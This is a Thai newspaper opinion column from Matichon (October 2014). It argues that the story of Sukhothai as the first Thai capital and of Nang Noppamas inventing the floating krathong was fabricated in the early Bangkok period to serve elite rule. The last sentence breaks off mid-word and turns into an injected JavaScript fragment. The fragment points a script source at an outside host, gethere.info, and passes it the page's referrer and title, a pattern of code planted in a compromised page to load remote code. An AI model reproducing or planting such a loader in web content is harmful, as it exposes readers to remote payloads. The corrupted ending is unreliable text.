มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 30 ตุลาคม  2557

 

นิยายเรื่องกรุงสุโขทัยและลอยกระทง

          กรุงสุโขทัยเป็นราชธานีแห่งแรกของไทย และนางนพมาศ “สนมพระร่วง” เป็นผู้ริเริ่มประดิษฐ์กระทงลอยครั้งแรกในไทย

          ล้วนเป็น“นิยาย”ที่คนยุคต้นกรุงเทพฯแต่งขึ้นเองใหม่ๆ หมาดๆ แล้วยัดเยียดให้เป็นยุคสุโขทัย

          โดยที่ทางวิชาการแล้ว ไม่เคยพบหลักฐานประวัติศาสตร์โบราณคดีสนับสนุนว่ากรุงสุโขทัยเป็นจริงตามที่คนยุคกรุงเทพฯแต่งขึ้น แต่ใช้อำนาจครอบงำคนทั้งประเทศต้องเชื่อตามนั้น

          ใครไม่เชื่อต้องถูกพิพากษาว่าไม่รักชาติ ถือเป็นผู้ทำลายความเป็นไทย และวัฒนธรรมไทย (ผมเคยเสนอเรื่องราวเหล่านี้ แล้วโดนข้อหาอย่างนี้เมื่อราวหลายสิบปีมาแล้ว)

          คนยุคกรุงเทพฯสถาปนากรุงสุโขทัยเป็นราชธานีแห่งแรกของไทย โดยไม่มีพัฒนาการ เท่ากับจู่ๆคนไทยโผล่ขึ้นมาโด่เด่จากไหนก็ไม่รู้?

          เลยพยายามแต่งเรื่องเพื่ออธิบายเพิ่มเติมว่าคนไทยอพยพถอนรากถอนโคนจากเทือกเขาอัลไต, และน่านเจ้า

          ซึ่งล้วนเป็นเท็จ แต่เคยมีในตำราใช้ในการเรียนการสอนทั่วประเทศ

          นักวิชาการทั้งโลกไม่เชื่อ แต่นักวิชาการไทย“ขี้ประจบ”ส่วนมากเชื่อทั้งหมดเพื่อประโยชน์ส่วนตน

          ทำให้เกิดปัญหาคาราคาซังทางวิชาการ จนมีผู้เรียกช่วงเวลามีปัญหานี้ว่ายุคมืด หรือช่องว่างของประวัติศาสตร์ไทย

          แต่ที่ส่งผลเสียต่อเนื่องยาวนานมากจนทุกวันนี้ยังแก้ไขไม่ได้ คือ ทำให้เกิดบาดหมางสร้างบาดแผลกับประเทศเพื่อนบ้านโดยรอบ

          ประวัติศาสตร์แห่งชาติของไทยที่ใช้ทุกวันนี้ถูกเรียกว่า“ฉบับยุคมืด-ช่องว่าง”  เกิดขึ้นในยุคสมบูรณาญาสิทธิราชย์สยามประมาณ พ.ศ. 2436-2475

          อ. นิธิ เอียวศรีวงศ์ บอกว่า เป็นประวัติศาสตร์ของราชอาณาจักรลุ่มน้ำเจ้าพระยา ภาคกลาง สร้างขึ้นด้วยจุดมุ่งหมายเพียงการธำรงอำนาจของกลุ่มชนชั้นนำตามจารีตกลุ่มเล็กๆของรัฐราชสมบัติไว้ในรัฐซึ่งได้กลายเป็น“ชาติ”ไปแล้ว

          จึงมีลักษณะกีดกันคนกลุ่มต่างๆออกไปจากความทรงจำร่วมกันของคนในชาติ แล้วทำให้คนส่วนใหญ่ในชาติไม่มีที่ยืนในประวัติศาสตร์

          ซ้ำความทรงจำที่สร้างขึ้นในนามของประวัติศาสตร์แห่งชาติ ยังอาจทำลายหรือเหยียดอัตลักษณ์ของคนบางกลุ่มให้ด้อยเกียรติภูมิอีกด้วย เช่น มอญ, เขมร, มลายู, ลาว, ฯลฯ

          อย่างนี้ ฝูงคนดีภาคภูมิสุดๆs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;